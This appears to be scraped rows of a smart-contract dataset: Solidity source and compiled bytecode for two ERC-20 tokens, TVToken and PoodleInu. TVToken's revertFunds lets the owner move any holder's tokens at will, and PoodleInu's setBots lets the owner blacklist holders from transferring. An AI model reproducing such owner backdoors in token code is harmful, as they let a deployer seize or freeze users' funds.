return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract TVToken is PausableToken, MintableToken {
string public name = 'TV Token';
string public symbol = 'TVT';
uint8 public decimals = 18;
function TVToken() public {}
function revertFunds(address _from, address _to, uint256 _value) onlyOwner public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
}
|
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461011757806306fdde0314610144578063095ea7b3146101d257806318160ddd1461022c57806323b872dd14610255578063313ce567146102ce5780633f4ba83a146102fd57806340c10f19146103125780635c975abb1461036c57806366188463146103995780636fa4c766146103f357806370a082311461046c5780637d64bcb4146104b95780638456cb59146104e65780638da5cb5b146104fb57806395d89b4114610550578063a9059cbb146105de578063d73dd62314610638578063dd62ed3e14610692578063f2fde38b146106fe575b600080fd5b341561012257600080fd5b61012a610737565b604051808215151515815260200191505060405180910390f35b341561014f57600080fd5b61015761074a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019757808201518184015260208101905061017c565b50505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dd57600080fd5b610212600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e8565b604051808215151515815260200191505060405180910390f35b341561023757600080fd5b61023f610818565b6040518082815260200191505060405180910390f35b341561026057600080fd5b6102b4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610822565b604051808215151515815260200191505060405180910390f35b34156102d957600080fd5b6102e1610854565b604051808260ff1660ff16815260200191505060405180910390f35b341561030857600080fd5b610310610867565b005b341561031d57600080fd5b610352600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610927565b604051808215151515815260200191505060405180910390f35b341561037757600080fd5b61037f610b0d565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103d9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b20565b604051808215151515815260200191505060405180910390f35b34156103fe57600080fd5b610452600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b50565b604051808215151515815260200191505060405180910390f35b341561047757600080fd5b6104a3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dcd565b6040518082815260200191505060405180910390f35b34156104c457600080fd5b6104cc610e15565b604051808215151515815260200191505060405180910390f35b34156104f157600080fd5b6104f9610edd565b005b341561050657600080fd5b61050e610f9e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561055b57600080fd5b610563610fc4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105a3578082015181840152602081019050610588565b50505050905090810190601f1680156105d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105e957600080fd5b61061e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611062565b604051808215151515815260200191505060405180910390f35b341561064357600080fd5b610678600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611092565b604051808215151515815260200191505060405180910390f35b341561069d57600080fd5b6106e8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110c2565b6040518082815260200191505060405180910390f35b341561070957600080fd5b610735600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611149565b005b600360159054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e05780601f106107b5576101008083540402835291602001916107e0565b820191906000526020600020905b8154815290600101906020018083116107c357829003601f168201915b505050505081565b6000600360149054906101000a900460ff1615151561080657600080fd5b61081083836112a1565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561084057600080fd5b61084b848484611393565b90509392505050565b600660009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108c357600080fd5b600360149054906101000a900460ff1615156108de57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098557600080fd5b600360159054906101000a900460ff161515156109a157600080fd5b6109b68260015461174d90919063ffffffff16565b600181905550610a0d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610b3e57600080fd5b610b48838361176b565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bae57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610bea57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c3757600080fd5b610c88826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119fc90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7357600080fd5b600360159054906101000a900460ff16151515610e8f57600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3957600080fd5b600360149054906101000a900460ff16151515610f5557600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561105a5780601f1061102f5761010080835404028352916020019161105a565b820191906000526020600020905b81548152906001019060200180831161103d57829003601f168201915b505050505081565b6000600360149054906101000a900460ff1615151561108057600080fd5b61108a8383611a15565b905092915050565b6000600360149054906101000a900460ff161515156110b057600080fd5b6110ba8383611c34565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111a557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111e157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113d057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561141d57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114a857600080fd5b6114f9826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119fc90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119fc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561176157fe5b8091505092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561187c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611910565b61188f83826119fc90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000828211151515611a0a57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a5257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a9f57600080fd5b611af0826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119fc90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b83826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611cc582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820a07db2c05606edd7da834c849e086a34cd7cfdac2edb98702881078cb88325ef0029
|
{"success": true, "error": null, "results": {}}
| 8,067 |
0xa39a17926619982c5f3df2828ae951e031f9af71
|
// SPDX-License-Identifier: MIT
/*
_____ _ _ _____
| __ \ | | | |_ _|
| |__) |__ ___ __| | | ___ | | _ __ _ _
| ___/ _ \ / _ \ / _` | |/ _ \ | | | '_ \| | | |
| | | (_) | (_) | (_| | | __/_| |_| | | | |_| |
|_| \___/ \___/ \__,_|_|\___|_____|_| |_|\__,_|
Telegram: t.me/PoodleInuETH
Website: https://poodleinu.dog
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PoodleInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "PoodleInu";
string private constant _symbol = "POOD";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _marketingAddress = payable(0x8FDf890896473Af5dDeeb525FEa5f89Df5b9ff0d);
address payable private _charityAddress = payable(0xD8026DEBa9b9366edDAB8f9dd79Fb54057203928);
IUniswapV2Router02 private immutable uniswapV2Router;
address private immutable uniswapV2Pair;
bool private inSwap = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_charityAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 2;
_teamFee = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETH(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETH(uint256 amount) private {
_marketingAddress.transfer((amount/8)*5);
_charityAddress.transfer(address(this).balance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
sendETH(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a146102bd578063c3c8cd80146102dd578063dd62ed3e146102f2578063f2fde38b1461033857600080fd5b8063715018a6146102335780638da5cb5b1461024857806395d89b4114610270578063a9059cbb1461029d57600080fd5b8063273123b7116100c6578063273123b7146101c0578063313ce567146101e25780636fc3eaec146101fe57806370a082311461021357600080fd5b806306fdde0314610103578063095ea7b31461014757806318160ddd1461017757806323b872dd146101a057600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50604080518082019091526009815268506f6f646c65496e7560b81b60208201525b60405161013e91906110ba565b60405180910390f35b34801561015357600080fd5b50610167610162366004611134565b610358565b604051901515815260200161013e565b34801561018357600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161013e565b3480156101ac57600080fd5b506101676101bb366004611160565b61036e565b3480156101cc57600080fd5b506101e06101db3660046111a1565b6103d7565b005b3480156101ee57600080fd5b506040516012815260200161013e565b34801561020a57600080fd5b506101e061042b565b34801561021f57600080fd5b5061019261022e3660046111a1565b610462565b34801561023f57600080fd5b506101e061048a565b34801561025457600080fd5b506000546040516001600160a01b03909116815260200161013e565b34801561027c57600080fd5b506040805180820190915260048152631413d3d160e21b6020820152610131565b3480156102a957600080fd5b506101676102b8366004611134565b6104c0565b3480156102c957600080fd5b506101e06102d83660046111d4565b6104cd565b3480156102e957600080fd5b506101e0610563565b3480156102fe57600080fd5b5061019261030d366004611299565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561034457600080fd5b506101e06103533660046111a1565b6105a3565b600061036533848461063b565b50600192915050565b600061037b84848461075f565b6103cd84336103c88560405180606001604052806028815260200161144d602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906109e6565b61063b565b5060019392505050565b6000546001600160a01b0316331461040a5760405162461bcd60e51b8152600401610401906112d2565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146104555760405162461bcd60e51b8152600401610401906112d2565b4761045f81610a12565b50565b6001600160a01b03811660009081526001602052604081205461048490610a99565b92915050565b6000546001600160a01b031633146104b45760405162461bcd60e51b8152600401610401906112d2565b6104be6000610b1d565b565b600061036533848461075f565b6000546001600160a01b031633146104f75760405162461bcd60e51b8152600401610401906112d2565b60005b815181101561055f5760016005600084848151811061051b5761051b611307565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061055781611333565b9150506104fa565b5050565b6000546001600160a01b0316331461058d5760405162461bcd60e51b8152600401610401906112d2565b600061059830610462565b905061045f81610b6d565b6000546001600160a01b031633146105cd5760405162461bcd60e51b8152600401610401906112d2565b6001600160a01b0381166106325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610401565b61045f81610b1d565b6001600160a01b03831661069d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610401565b6001600160a01b0382166106fe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610401565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107c35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610401565b6001600160a01b0382166108255760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610401565b600081116108875760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610401565b600260089081556009556000546001600160a01b038481169116148015906108bd57506000546001600160a01b03838116911614155b15610989576001600160a01b03831660009081526005602052604090205460ff1615801561090457506001600160a01b03821660009081526005602052604090205460ff16155b61090d57600080fd5b600061091830610462565b600d54909150600160a01b900460ff1615801561096757507f00000000000000000000000038c1e3177da25a517b2829395c4d236f6de4afcd6001600160a01b0316846001600160a01b031614155b156109875761097581610b6d565b4780156109855761098547610a12565b505b505b6001600160a01b03831660009081526004602052604090205460019060ff16806109cb57506001600160a01b03831660009081526004602052604090205460ff165b156109d4575060005b6109e084848484610d5c565b50505050565b60008184841115610a0a5760405162461bcd60e51b815260040161040191906110ba565b505050900390565b600c546001600160a01b03166108fc610a2c60088461134e565b610a37906005611370565b6040518115909202916000818181858888f19350505050158015610a5f573d6000803e3d6000fd5b50600d546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561055f573d6000803e3d6000fd5b6000600654821115610b005760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e